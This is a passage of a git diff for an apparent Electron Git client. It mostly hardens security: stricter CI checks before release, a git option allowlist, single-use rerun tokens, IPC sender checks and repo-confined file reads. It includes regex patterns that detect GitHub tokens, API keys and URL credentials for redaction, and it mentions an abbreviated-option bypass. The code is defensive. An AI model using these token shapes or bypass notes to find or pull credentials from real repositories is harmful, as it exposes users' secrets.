'index.mjs'); if (!existsSync(entry)) { diff --git a/scripts/release.mjs b/scripts/release.mjs index 6852aca..df85e2a 100755 --- a/scripts/release.mjs +++ b/scripts/release.mjs @@ -12,7 +12,8 @@ * * Flags: * --yes skip the confirmation prompt (required when not on a TTY) - * --no-verify skip the "is CI green on main" check in tag mode + * --skip-ci-check skip the "is CI green on main" check in tag mode. Without it the + * check is mandatory: if gh cannot answer, the tag is refused. */ import { execFileSync } from 'node:child_process'; import { createInterface } from 'node:readline/promises'; @@ -100,19 +101,19 @@ async function prepare(version, { yes }) { /** The workflow only typechecks, so a red Test run on main would otherwise reach a release unnoticed. */ function requireGreenCi() { + const skip = 'or pass --skip-ci-check to tag without it.'; let runs; try { runs = JSON.parse(run('gh', ['run', 'list', '--branch', 'main', '--workflow', 'Test', '--limit', '1', '--json', 'conclusion,status,headSha,url'])); } catch { - log('could not reach gh to check CI — skipping that check.'); - return; + fail('Could not check CI: `gh run list` failed.', `Install and authenticate gh (\`gh auth login\`), ${skip}`); } const [latest] = runs; - if (!latest) return log('no Test run found for main — skipping that check.'); + if (!latest) fail('No Test run found for main.', `Wait for CI to start, ${skip}`); const head = git('rev-parse', 'HEAD'); - if (latest.headSha !== head) log(`warning: the latest Test run is for ${latest.headSha.slice(0, 7)}, not HEAD.`); - if (latest.status !== 'completed') fail(`The Test run on main is still ${latest.status}.`, `${latest.url} — wait for it, or pass --no-verify.`); - if (latest.conclusion !== 'success') fail(`The Test run on main concluded "${latest.conclusion}".`, `${latest.url} — fix it, or pass --no-verify.`); + if (latest.headSha !== head) fail(`The latest Test run is for ${latest.headSha.slice(0, 7)}, not HEAD (${head.slice(0, 7)}).`, `${latest.url} — wait for the run on HEAD, ${skip}`); + if (latest.status !== 'completed') fail(`The Test run on main is still ${latest.status}.`, `${latest.url} — wait for it, ${skip}`); + if (latest.conclusion !== 'success') fail(`The Test run on main concluded "${latest.conclusion}".`, `${latest.url} — fix it, ${skip}`); } async function tag({ yes, verify }) { @@ -143,9 +144,9 @@ async function tag({ yes, verify }) { } const [mode, ...rest] = process.argv.slice(2); -const flags = { yes: rest.includes('--yes'), verify: !rest.includes('--no-verify') }; +const flags = { yes: rest.includes('--yes'), verify: !rest.includes('--skip-ci-check') }; const positional = rest.filter((a) => !a.startsWith('--')); if (mode === 'prepare') await prepare(positional[0] ?? fail('Usage: node scripts/release.mjs prepare '), flags); else if (mode === 'tag') await tag(flags); -else fail('Usage: node scripts/release.mjs |tag> [--yes] [--no-verify]'); +else fail('Usage: node scripts/release.mjs |tag> [--yes] [--skip-ci-check]'); diff --git a/src/main/ai/error-explain-core.ts b/src/main/ai/error-explain-core.ts index 464a6b2..fd71245 100644 --- a/src/main/ai/error-explain-core.ts +++ b/src/main/ai/error-explain-core.ts @@ -8,6 +8,7 @@ * error-explain.ts. */ import type { ErrorExplanation, ErrorFix, FixRisk, RepositoryStatus } from '@shared/types'; +import { scrubSecrets } from '@shared/secrets'; import { compareRisk, getFixAction, riskMax } from './fixActions'; // --------------------------------------------------------------------------- @@ -17,28 +18,6 @@ import { compareRisk, getFixAction, riskMax } from './fixActions'; /** Streams sent to the model are cut to their last N characters, after scrubbing. */ export const DIAGNOSTIC_TAIL_LIMIT = 4000; -/** Order matters only in that every pattern is applied; they do not overlap. */ -const SECRET_PATTERNS: readonly [RegExp, string][] = [ - [/\bghp_[A-Za-z0-9]{20,}\b/g, 'ghp_***'], - [/\bgithub_pat_[A-Za-z0-9_]{20,}\b/g, 'github_pat_***'], - [/\bgho_[A-Za-z0-9]{20,}\b/g, 'gho_***'], - [/\bghu_[A-Za-z0-9]{20,}\b/g, 'ghu_***'], - [/\bghs_[A-Za-z0-9]{20,}\b/g, 'ghs_***'], - [/\bghr_[A-Za-z0-9]{20,}\b/g, 'ghr_***'], - [/\bsk-ant-[A-Za-z0-9_-]{10,}\b/g, 'sk-ant-***'], - [/\bBearer\s+\S+/gi, 'Bearer ***'], - [/\bANTHROPIC_API_KEY=\S+/g, 'ANTHROPIC_API_KEY=***'], - // URL userinfo, any scheme: https://user:pass@host, ssh://user:pass@host, ... - [/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/\s:@]+:[^/\s:@]+@/g, '$1***:***@'], -]; - -/** Masks known secret shapes (GitHub tokens, bearer tokens, URL userinfo, Anthropic API keys). Pure string transform; never throws. */ -export function scrubSecrets(text: string): string { - let out = text; - for (const [re, replacement] of SECRET_PATTERNS) out = out.replace(re, replacement); - return out; -} - /** Keeps only the last `max` characters, without splitting a multi-byte/surrogate pair at the boundary. */ export function tailText(text: string, max: number = DIAGNOSTIC_TAIL_LIMIT): string { if (text.length <= max) return text; diff --git a/src/main/ai/error-explain.ts b/src/main/ai/error-explain.ts index ea41af5..c0b2f30 100644 --- a/src/main/ai/error-explain.ts +++ b/src/main/ai/error-explain.ts @@ -21,6 +21,7 @@ import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { createBackend } from './provider'; +import { scrubSecrets } from '@shared/secrets'; import { buildErrorExplainPrompt, ERROR_EXPLAIN_SCHEMA, ERROR_EXPLAIN_SYSTEM_PROMPT, type ErrorExplainRemote } from './prompts'; import { checkLockFileGuard, extractRemoteHost, scrubAndTail, validateErrorExplanation } from './error-explain-core'; @@ -66,7 +67,7 @@ export class ErrorExplainService { const prompt = buildErrorExplainPrompt({ code: error.code, - command: error.command, + command: scrubSecrets(error.command), exitCode: error.exitCode, stderrTail: scrubAndTail(error.stderr), stdoutTail: scrubAndTail(error.stdout), diff --git a/src/main/ai/nlPolicy.ts b/src/main/ai/nlPolicy.ts index 5b2fd42..5a73d20 100644 --- a/src/main/ai/nlPolicy.ts +++ b/src/main/ai/nlPolicy.ts @@ -225,6 +225,116 @@ function firstUnknownFlag(flags: string[], allowed: readonly string[]): string | return flags.find((f) => !allowed.includes(f)) ?? null; } +/** + * Per-command option allowlist for the inspect families. The palette runs these + * with no confirmation, so an option is accepted only when listed here with its + * exact spelling -- git also accepts unambiguous abbreviations of long options + * (`--outp=/abs`), which a denylist cannot enumerate. + */ +interface OptionSpec { + /** Exact option name -> null (takes no value) or a value rule. `optional`: bare flag allowed; `sep`: value may be the next token. */ + flags: Record; + /** Whole-token spellings such as `-n5` or `-3`. */ + tokens?: RegExp[]; +} + +const NUM = /^\d+$/; +const ANY = /^.*$/; +const SAFE_WORD = /^[\w.:%+ ,/-]+$/; +const NO_EXTERNAL_DIFF = ['--no-ext-diff', '--no-textconv']; + +const noValue = (...names: string[]): Record => Object.fromEntries(names.map((n) => [n, null])); + +const DIFF_OPTIONS: OptionSpec = { + flags: { + ...noValue('-p', '--patch', '-s', '--no-patch', '--raw', '--numstat', '--shortstat', '--summary', '--name-only', '--name-status', '--check', '--no-color', '--minimal', '--patience', '--histogram', '--no-renames', '-w', '--ignore-all-space', '-b', '--ignore-space-change', '--ignore-space-at-eol', '--ignore-blank-lines', '--cached', '--staged', '--no-ext-diff', '--no-textconv', '--full-index', '--binary', '--exit-code', '--quiet', '--compact-summary', '-R', '-a', '--text', '-M'), + '--stat': { re: /^\d+(,\d+){0,2}$/, optional: true }, + '--color': { re: SAFE_WORD, optional: true }, + '--find-renames': { re: /^\d+%?$/, optional: true }, + '--unified': { re: NUM }, + '--diff-filter': { re: /^[A-Za-z*]+$/ }, + '--word-diff': { re: /^(color|plain|porcelain|none)$/, optional: true }, + }, + tokens: [/^-[UM]\d+%?$/, /^-[SG].+$/], +}; + +const SHOW_OPTIONS: OptionSpec = { + flags: { + ...DIFF_OPTIONS.flags, + ...noValue('--oneline', '--abbrev-commit', '--no-abbrev-commit', '--no-decorate'), + '--format': { re: ANY }, + '--pretty': { re: ANY, optional: true }, + '--abbrev': { re: NUM, optional: true }, + '--date': { re: SAFE_WORD }, + '--decorate': { re: /^(short|full|auto|no)$/, optional: true }, + }, + tokens: DIFF_OPTIONS.tokens, +}; + +const LOG_OPTIONS: OptionSpec = { + flags: { + ...SHOW_OPTIONS.flags, + ...noValue('--graph', '--all', '--branches', '--tags', '--remotes', '--first-parent', '--merges', '--no-merges', '--reverse', '--follow', '--topo-order', '--date-order', '--author-date-order', '--left-right', '--cherry-pick', '--cherry-mark', '--ancestry-path', '--simplify-by-decoration', '--source', '--parents', '--all-match', '--invert-grep', '-i', '--regexp-ignore-case', '-E', '--extended-regexp', '-F', '--fixed-strings', '-g', '--walk-reflogs'), + '-n': { re: NUM, sep: true }, + '--max-count': { re: NUM, sep: true }, + '--skip': { re: NUM }, + '--since': { re: ANY }, '--until': { re: ANY }, '--after': { re: ANY }, '--before': { re: ANY }, + '--author': { re: ANY }, '--committer': { re: ANY }, '--grep': { re: ANY }, + }, + tokens: [...(DIFF_OPTIONS.tokens ?? []), /^-n\d+$/, /^-\d+$/], +}; + +const STATUS_OPTIONS: OptionSpec = { + flags: { + ...noValue('-s', '--short', '-b', '--branch', '-sb', '--long', '--show-stash', '--ahead-behind', '--no-ahead-behind', '-z', '--renames', '--no-renames'), + '--porcelain': { re: /^v[12]$/, optional: true }, + '--untracked-files': { re: /^(no|normal|all)$/, optional: true }, + '--ignored': { re: /^(traditional|matching|no)$/, optional: true }, + }, + tokens: [/^-u(no|normal|all)?$/], +}; + +const REV_PARSE_OPTIONS: OptionSpec = { + flags: { + ...noValue('--verify', '-q', '--quiet', '--show-toplevel', '--is-inside-work-tree', '--is-bare-repository', '--is-shallow-repository', '--show-prefix', '--show-cdup', '--symbolic-full-name', '--symbolic', '--branches', '--tags', '--remotes', '--all'), + '--short': { re: NUM, optional: true }, + '--abbrev-ref': { re: /^(strict|loose)$/, optional: true }, + }, +}; + +const INSPECT_OPTIONS: Record = { status: STATUS_OPTIONS, log: LOG_OPTIONS, show: SHOW_OPTIONS, diff: DIFF_OPTIONS, 'rev-parse': REV_PARSE_OPTIONS }; + +/** The first option token in `argv` (before any `--`) that `spec` does not allow, or null. */ +function firstDisallowedOption(argv: string[], spec: OptionSpec): string | null { + for (let i = 0; i < argv.length; i++) { + const a = argv[i]; + if (a === '--') return null; + if (!a.startsWith('-') || spec.tokens?.some((re) => re.test(a))) continue; + const eq = a.startsWith('--') ? a.indexOf('=') : -1; + const name = eq < 0 ? a : a.slice(0, eq); + let value = eq < 0 ? undefined : a.slice(eq + 1); + if (!Object.hasOwn(spec.flags, name)) return a; + const rule = spec.flags[name]; + if (rule === null) { + if (value !== undefined) return a; + continue; + } + if (value === undefined) { + if (rule.optional) continue; + if (!rule.sep || argv[i + 1] === undefined) return a; + value = argv[++i]; + } + if (!rule.re.test(value)) return a; + } + return null; +} + +function inspectResult(label: string, args: string[], spec: OptionSpec, mapped: string[]): MatchResult { + const bad = firstDisallowedOption(args, spec); + if (bad) return { family: 'inspect', risk: 'safe', mappedAction: null, mappedArgs: [], refusalReason: `The option "${bad}" is not in the allowed set for "git ${label}".` }; + return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [mapped] }; +} + // ---- inspect -------------------------------------------------------------- const INSPECT_COMMANDS = new Set(['status', 'log', 'show', 'diff', 'rev-parse']); @@ -253,7 +363,9 @@ function matchInspect(cmd: string, rest: string[]): MatchResult | null { // Inspect commands read only: refuse anything that could reach outside the repository. if (rest.some(hasUnsafePathToken)) return null; if (INSPECT_COMMANDS.has(cmd)) { - return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [[cmd, ...rest]] }; + // Diff-producing commands never run a configured external diff/textconv program, whatever the repo's config says. + const diffs = cmd === 'log' || cmd === 'show' || cmd === 'diff'; + return inspectResult(cmd, rest, INSPECT_OPTIONS[cmd], [cmd, ...(diffs ? NO_EXTERNAL_DIFF : []), ...rest]); } if (cmd === 'branch') { // `git branch` reaches git verbatim via the tryRun sentinel, and `readOnly` @@ -270,10 +382,11 @@ function matchInspect(cmd: string, rest: string[]): MatchResult | null { return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [['branch', ...rest]] }; } if (cmd === 'stash' && rest[0] === 'list') { - return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [['stash', 'list', ...rest.slice(1)]] }; + return inspectResult('stash list', rest.slice(1), LOG_OPTIONS, ['stash', 'list', ...NO_EXTERNAL_DIFF, ...rest.slice(1)]); } if (cmd === 'reflog' && (rest.length === 0 || rest[0] === 'show')) { - return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [['reflog', ...rest]] }; + const args = rest.slice(rest[0] === 'show' ? 1 : 0); + return inspectResult('reflog', args, LOG_OPTIONS, ['reflog', 'show', ...NO_EXTERNAL_DIFF, ...args]); } return null; } diff --git a/src/main/ai/review-export.ts b/src/main/ai/review-export.ts index 1d07f6f..de7b9c3 100644 --- a/src/main/ai/review-export.ts +++ b/src/main/ai/review-export.ts @@ -60,13 +60,14 @@ export function rerunUseful(target: ReviewRun['target']): boolean { return target.kind === 'worktree'; } -export function rerunUrl(repoPath: string): string { - return `gitgood://review/rerun?repo=${encodeURIComponent(repoPath)}`; +/** `token` is the per-run secret GitGood minted for this export (see ReviewService.rerunToken); without it a deep link only asks the user to confirm. */ +export function rerunUrl(repoPath: string, token: string): string { + return `gitgood://review/rerun?repo=${encodeURIComponent(repoPath)}&token=${encodeURIComponent(token)}`; } /** The shell command an agent runs to ask GitGood for a re-review on this platform. */ -export function rerunCommand(repoPath: string, platform: ExportPlatform): string { - const url = rerunUrl(repoPath); +export function rerunCommand(repoPath: string, platform: ExportPlatform, token: string): string { + const url = rerunUrl(repoPath, token); if (platform === 'win32') return `Start-Process "${url}"`; if (platform === 'darwin') return `open '${url}'`; return `xdg-open '${url}'`; @@ -80,7 +81,7 @@ export function sortFindings(findings: ReviewFinding[]): ReviewFinding[] { return [...findings].sort((a, b) => SEVERITY_RANK[a.severity] - SEVERITY_RANK[b.severity] || (a.path < b.path ? -1 : a.path > b.path ? 1 : 0) || a.line - b.line); } -export function buildExportJson(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform): ReviewExport { +export function buildExportJson(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform, rerunToken: string): ReviewExport { return { version: EXPORT_VERSION, runId: run.id, @@ -100,7 +101,7 @@ export function buildExportJson(run: ReviewRun, previousRunId: string | null, pl files: run.files.map((f) => ({ path: normalizePath(f.file.path), status: f.status, reason: f.reason })), droppedInvalid: run.droppedInvalid, findings: sortFindings(run.findings).map((f) => ({ ...f, path: normalizePath(f.path) })), - rerun: rerunUseful(run.target) ? { url: rerunUrl(run.repoPath), command: rerunCommand(run.repoPath, platform) } : null, + rerun: rerunUseful(run.target) ? { url: rerunUrl(run.repoPath, rerunToken), command: rerunCommand(run.repoPath, platform, rerunToken) } : null, }; } @@ -129,10 +130,10 @@ function targetLine(run: ReviewRun): string { return `Pending commit — ${t.paths.length} file${t.paths.length === 1 ? '' : 's'} selected in the working tree`; } -export function renderExportMarkdown(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform): string { +export function renderExportMarkdown(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform, rerunToken: string): string { const live = sortFindings(run.findings.filter((f) => !f.dismissed)); const jsonName = `${RUNS_DIR}/${safeRunId(run.id)}.json`; - const rerun = rerunCommand(run.repoPath, platform); + const rerun = rerunCommand(run.repoPath, platform, rerunToken); const out: string[] = []; out.push(`# GitGood review findings`); out.push(''); @@ -148,7 +149,7 @@ export function renderExportMarkdown(run: ReviewRun, previousRunId: string | nul out.push('4. Do not commit, stage, stash or otherwise run git write operations. Leave that to the user.'); if (rerunUseful(run.target)) { out.push(`5. When you are done, ask GitGood to re-review by running: \`${rerun}\``); - if (platform === 'win32') out.push(` From Command Prompt instead: \`start "" "${rerunUrl(run.repoPath)}"\``); + if (platform === 'win32') out.push(` From Command Prompt instead: \`start "" "${rerunUrl(run.repoPath, rerunToken)}"\``); out.push(`6. Then re-read \`${LATEST_JSON}\` next to this file: its \`runId\` changes when the re-review finishes and its \`previousRunId\` names this run. Finding ids are not stable across runs, so compare by title and path. If its target differs from the one above, say so instead of comparing.`); } else { out.push('5. Do not ask GitGood to re-review. This review covers committed changes, so it would read the same commits again and report the same findings no matter what you fixed.'); diff --git a/src/main/ai/review.ts b/src/main/ai/review.ts index bbef6d4..bb43c2c 100644 --- a/src/main/ai/review.ts +++ b/src/main/ai/review.ts @@ -1,3 +1,4 @@ +import { randomBytes } from 'node:crypto'; import { existsSync } from 'node:fs'; import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; @@ -9,6 +10,7 @@ import { parseUnifiedDiffs } from '@shared/diff/parse'; import { languageFromPath } from '@shared/util'; import { isUnborn } from '../git/commit'; import { buildTextDiff, getPatchForFiles, getRangeFileDiff, looksBinary, readBlobText, readWorktree, toFsPath } from '../git/diff'; +import { readRepoFile } from '../repo/paths'; import { EMPTY_TREE_SHA, GitError, type GitClient } from '../git/git'; import { getGitDir, getStatus } from '../git/status'; import type { GhClient } from '../gh/gh'; @@ -138,6 +140,29 @@ export class ReviewService { return process.platform === 'win32' || process.platform === 'darwin' ? process.platform : 'linux'; } + /** Rerun secrets minted for exported runs, by run id: memory only, so a restart invalidates every link already written to disk. */ + private readonly rerunTokens = new Map(); + + /** The random per-run token embedded in the export's `gitgood://review/rerun` link; stable across rewrites of the same run until consumed. */ + private rerunToken(run: ReviewRun): string { + let entry = this.rerunTokens.get(run.id); + if (!entry) { + entry = { repoPath: run.repoPath, token: randomBytes(16).toString('hex') }; + this.rerunTokens.set(run.id, entry); + } + return entry.token; + } + + /** True once for a token minted for `repoPath`'s export; the token is spent either way a caller uses it, so a leaked link cannot be replayed. */ + consumeRerunToken(repoPath: string, token: string): boolean { + for (const [runId, entry] of this.rerunTokens) { + if (entry.token !== token || entry.repoPath !== repoPath) continue; + this.rerunTokens.delete(runId); + return true; + } + return false; + } + private async readExport(file: string): Promise { try { return JSON.parse(await readFile(file, 'utf8')) as ReviewExport; @@ -196,8 +221,9 @@ export class ReviewService { const names = exportFileNames(run.id); const previousRunId = await this.previousExportId(runsDir, run); const platform = ReviewService.exportPlatform(); - const json = serializeExport(buildExportJson(run, previousRunId, platform)); - const md = renderExportMarkdown(run, previousRunId, platform); + const rerunToken = this.rerunToken(run); + const json = serializeExport(buildExportJson(run, previousRunId, platform, rerunToken)); + const md = renderExportMarkdown(run, previousRunId, platform, rerunToken); await this.writeExportFile(join(dir, ...names.json.split('/')), json); await this.writeExportFile(join(dir, ...names.md.split('/')), md); // Dismissing a finding on an older run re-exports it; that must not make it @@ -434,17 +460,12 @@ export class ReviewService { const parts: string[] = []; let budget = MAX_GUIDELINE_CHARS; for (const c of candidates) { - const p = join(repoPath, ...c.split('/')); - if (!existsSync(p) || budget <= 0) continue; - try { - const text = (await readFile(p, 'utf8')).trim(); - if (!text) continue; - const slice = text.slice(0, budget); - budget -= slice.length; - parts.push(`## ${c}\n${slice}`); - } catch { - /* unreadable */ - } + if (budget <= 0) break; + const text = (await readRepoFile(repoPath, c))?.toString('utf8').trim(); + if (!text) continue; + const slice = text.slice(0, budget); + budget -= slice.length; + parts.push(`## ${c}\n${slice}`); } return parts.length ? parts.join('\n\n') : null; } diff --git a/src/main/app-url.ts b/src/main/app-url.ts new file mode 100644 index 0000000..c71e8f5 --- /dev/null +++ b/src/main/app-url.ts @@ -0,0 +1,26 @@ +import { join } from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +/** The one document the app window may show: the configured server (client mode), the dev server, or the packaged renderer entry. */ +export function appEntryUrl(remoteUrl?: string): string { + return remoteUrl ?? process.env.ELECTRON_RENDERER_URL ?? pathToFileURL(join(__dirname, '../renderer/index.html')).href; +} + +/** True when `url` is exactly the `entry` document (query/hash ignored): same origin and path for http(s), same file for file://. Any other file:// URL is rejected. */ +export function isEntryUrl(url: string | undefined | null, entry: string): boolean { + if (!url) return false; + try { + const a = new URL(url); + const b = new URL(entry); + if (a.protocol !== b.protocol) return false; + if (a.protocol === 'file:') return fileURLToPath(a) === fileURLToPath(b); + return a.origin === b.origin && a.pathname === b.pathname; + } catch { + return false; + } +} + +/** IPC is served only to the app's own top-level frame: not a subframe, not another document. */ +export function isTrustedSender(event: { sender: { mainFrame: unknown }; senderFrame?: { url: string } | null }, entry: string): boolean { + return !!event.senderFrame && event.senderFrame === event.sender.mainFrame && isEntryUrl(event.senderFrame.url, entry); +} diff --git a/src/main/client.ts b/src/main/client.ts index ce337ca..3bc0cb4 100644 --- a/src/main/client.ts +++ b/src/main/client.ts @@ -3,6 +3,7 @@ import { join } from 'node:path'; import { clipboard, dialog, ipcMain, nativeTheme, Notification, shell, type BrowserWindow } from 'electron'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL, type ApiMethods } from '@shared/ipc'; import type { InboxItem, InboxState, IpcResult } from '@shared/types'; +import { appEntryUrl, isTrustedSender } from './app-url'; import { applyInboxBadge } from './badge'; import { ElectronHost } from './host/electron-host'; import { sendEvent } from './ipc'; @@ -216,7 +217,9 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () } : { ...always, ...updateMethods, 'app.openInEditor': unsupported, 'app.openInShell': unsupported }; - ipcMain.handle(IPC_INVOKE_CHANNEL, async (_event, method: string, ...args: unknown[]): Promise | null> => { + const entry = appEntryUrl(serverUrl); + ipcMain.handle(IPC_INVOKE_CHANNEL, async (event, method: string, ...args: unknown[]): Promise | null> => { + if (!isTrustedSender(event, entry)) throw new Error('IPC refused: sender is not the app window.'); const fn = native[method as keyof ApiMethods] as ((...a: unknown[]) => Promise) | undefined; if (!fn) return null; try { @@ -227,7 +230,8 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () }); // Server events the bridge forwards for the desktop shell itself. - ipcMain.on(IPC_EVENT_CHANNEL, (_event, name: string, payload: unknown) => { + ipcMain.on(IPC_EVENT_CHANNEL, (event, name: string, payload: unknown) => { + if (!isTrustedSender(event, entry)) return; if (name === 'gh.inbox.changed') applyInboxBadge(getWindow(), (payload as InboxState).unreadCount); else if (name === 'gh.inbox.new' && !getWindow()?.isFocused() && Notification.isSupported()) { for (const item of payload as InboxItem[]) showInboxNotification(getWindow, item); diff --git a/src/main/core/handlers.ts b/src/main/core/handlers.ts index 50eecb2..e41f636 100644 --- a/src/main/core/handlers.ts +++ b/src/main/core/handlers.ts @@ -40,7 +40,7 @@ import { findShells, openShell, openShellWithCommand } from '../integrations/she import { getLogPath, log } from '../logger'; import { readRepoConfig } from '../repo/config'; import type { RepositoryManager } from '../repo/manager'; -import { canonicalPath } from '../repo/paths'; +import { assertInsideRepo, canonicalPath } from '../repo/paths'; import { addWatchedFolder, folderProblem, sanitizeWatchedFolders, type WatchedFolderScanner } from '../repo/watched-folders'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; @@ -554,9 +554,14 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'repo.stash.files': async (repoPath, stashRef) => getStashFiles(git, repoPath, stashRef), 'repo.stash.resolveRef': async (repoPath, sha) => ops.resolveStashRef(git, repoPath, sha), 'repo.compare': async (repoPath, base, head) => compareRefs(git, repoPath, base, head), - 'repo.readFile': async (repoPath, path) => readFile(toFsPath(repoPath, path), 'utf8'), + 'repo.readFile': async (repoPath, path) => { + const fsPath = toFsPath(repoPath, path); + await assertInsideRepo(repoPath, fsPath); + return readFile(fsPath, 'utf8'); + }, 'repo.writeFile': async (repoPath, path, content) => { const fsPath = toFsPath(repoPath, path); + await assertInsideRepo(repoPath, fsPath); await mkdir(dirname(fsPath), { recursive: true }); await writeFile(fsPath, content, 'utf8'); }, @@ -853,10 +858,12 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const trust = store.getRepoConfigTrust(repoPath, command); return { command, trustState: trust === true ? 'trusted' : trust === false ? 'declined' : 'unknown' }; }, - 'repo.trustConfig': async (repoPath, trusted) => { - // Bind the decision to the command that was shown in the confirmation, so a later change to .gitgood/config.json re-prompts. - const command = (await readRepoConfig(repoPath)).postResolveCheck; + 'repo.trustConfig': async (repoPath, trusted, command) => { + // A grant is bound to the command the user was shown. If the file changed since, refuse and report the current command so the renderer re-prompts. + const current = (await readRepoConfig(repoPath)).postResolveCheck; + if (trusted && current !== command) return { ok: false, command: current }; store.setRepoConfigTrust(repoPath, trusted, command); + return { ok: true }; }, 'ai.cancel': async () => { resolver.cancel(); @@ -880,6 +887,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'ai.review.applySuggestion': async (repoPath, runId, findingId) => review.applySuggestion(repoPath, runId, findingId), 'ai.review.latest': async (repoPath) => review.latest(repoPath), 'ai.review.exportPath': async (repoPath, runId) => review.exportPath(repoPath, runId), + 'ai.review.consumeRerunToken': async (repoPath, token) => review.consumeRerunToken(repoPath, token), 'ai.review.fixWithAgent': async (repoPath, runId) => { const settings = store.getSettings(); const template = agentTemplate(settings.ai); diff --git a/src/main/gh/gh.ts b/src/main/gh/gh.ts index b1cbd86..4e83d9f 100644 --- a/src/main/gh/gh.ts +++ b/src/main/gh/gh.ts @@ -223,11 +223,13 @@ interface RawGist { id: string; description?: string | null; updated_at?: string; + public?: boolean; + files?: Record; } -/** Finds the gist matching `description` in a `gh api gists --paginate` listing. Pure so it can be unit tested without spawning `gh`. */ -export function findGistByDescription(gists: RawGist[], description: string): { id: string; updatedAt: string } | null { - const match = gists.find((g) => g.description === description); +/** Finds the secret gist matching `description` that holds `filename` in a `gh api gists --paginate` listing. Public gists and look-alikes (same description, other files) are never adopted: they would receive uploads. Pure so it can be unit tested without spawning `gh`. */ +export function findGistByDescription(gists: RawGist[], description: string, filename: string): { id: string; updatedAt: string } | null { + const match = gists.find((g) => g.description === description && g.public === false && !!g.files && filename in g.files); return match ? { id: match.id, updatedAt: match.updated_at ?? '' } : null; } @@ -767,9 +769,9 @@ export class GhClient { // ---------- settings sync (gists) ---------- /** Finds an existing gist by its description (`gh gist list` output is not JSON in all versions, so the search goes through the API instead). */ - async gistFind(description: string): Promise<{ id: string; updatedAt: string } | null> { + async gistFind(description: string, filename: string): Promise<{ id: string; updatedAt: string } | null> { const raw = await this.json(['api', 'gists', '--paginate'], { timeoutMs: 60000 }); - return findGistByDescription(raw ?? [], description); + return findGistByDescription(raw ?? [], description, filename); } /** Creates a new secret gist from `content` (sent over stdin to avoid command-line length limits) and returns its id. */ @@ -797,11 +799,11 @@ export class GhClient { await this.run(['gist', 'edit', id, '--filename', filename, '-'], { stdin: content, timeoutMs: 60000 }); } - /** The gist's `updated_at`, or null when it no longer exists (used to detect a deleted gist without treating it as an error). */ - async gistMetadata(id: string): Promise<{ updatedAt: string } | null> { + /** The gist's `updated_at` and visibility, or null when it no longer exists (used to detect a deleted gist without treating it as an error). */ + async gistMetadata(id: string): Promise<{ updatedAt: string; public: boolean } | null> { try { - const raw = await this.json<{ updated_at?: string }>(['api', `gists/${id}`], { timeoutMs: 30000 }); - return raw ? { updatedAt: raw.updated_at ?? '' } : null; + const raw = await this.json<{ updated_at?: string; public?: boolean }>(['api', `gists/${id}`], { timeoutMs: 30000 }); + return raw ? { updatedAt: raw.updated_at ?? '', public: raw.public !== false } : null; } catch (err) { if (err instanceof GitError && isGistNotFound(err.info)) return null; throw err; diff --git a/src/main/gh/issue-templates.ts b/src/main/gh/issue-templates.ts index bd146e2..9562164 100644 --- a/src/main/gh/issue-templates.ts +++ b/src/main/gh/issue-templates.ts @@ -8,9 +8,10 @@ * exist on disk is impure and lives in `discoverIssueTemplates`, which is the * only part of this module that touches the filesystem. */ -import { readdir, readFile } from 'node:fs/promises'; +import { readdir } from 'node:fs/promises'; import { join } from 'node:path'; import type { IssueTemplate } from '@shared/types'; +import { readRepoFile } from '../repo/paths'; /** Parses one issue template file's front matter and body. Pure. */ export function parseIssueTemplate(content: string, filename: string): IssueTemplate { @@ -69,21 +70,13 @@ export async function discoverIssueTemplates(repoPath: string): Promise e.isFile() && /\.(md|markdown|ya?ml)$/i.test(e.name) && !/^config\.ya?ml$/i.test(e.name)).map((e) => e.name); const templates: IssueTemplate[] = []; for (const file of files) { - try { - const content = await readFile(join(dir, file), 'utf8'); - templates.push(parseIssueTemplate(content, file)); - } catch { - /* skip unreadable file */ - } + const content = (await readRepoFile(repoPath, `.github/ISSUE_TEMPLATE/${file}`))?.toString('utf8'); + if (content !== undefined) templates.push(parseIssueTemplate(content, file)); } return templates; } catch { // No directory; fall back to the legacy single-file template. - try { - const content = await readFile(join(repoPath, '.github', 'ISSUE_TEMPLATE.md'), 'utf8'); - return [parseIssueTemplate(content, 'ISSUE_TEMPLATE.md')]; - } catch { - return []; - } + const content = (await readRepoFile(repoPath, '.github/ISSUE_TEMPLATE.md'))?.toString('utf8'); + return content === undefined ? [] : [parseIssueTemplate(content, 'ISSUE_TEMPLATE.md')]; } } diff --git a/src/main/gh/pr-template.ts b/src/main/gh/pr-template.ts index 97c105a..74d6145 100644 --- a/src/main/gh/pr-template.ts +++ b/src/main/gh/pr-template.ts @@ -4,21 +4,19 @@ * handler (used to pre-fill the Create pull request dialog) and the AI PR * draft service (src/main/ai/prDraft.ts) read the same file. */ -import { existsSync } from 'node:fs'; -import { readdir, readFile } from 'node:fs/promises'; +import { readdir } from 'node:fs/promises'; import { join } from 'node:path'; +import { readRepoFile } from '../repo/paths'; const CANDIDATES = ['.github/pull_request_template.md', '.github/PULL_REQUEST_TEMPLATE.md', 'pull_request_template.md', 'PULL_REQUEST_TEMPLATE.md', 'docs/pull_request_template.md', 'docs/PULL_REQUEST_TEMPLATE.md']; +/** Template text from the first candidate that is a regular file inside the repo (symlinks are skipped, see readRepoFile). */ export async function findPullRequestTemplate(repoPath: string): Promise { for (const c of CANDIDATES) { - const p = join(repoPath, ...c.split('/')); - if 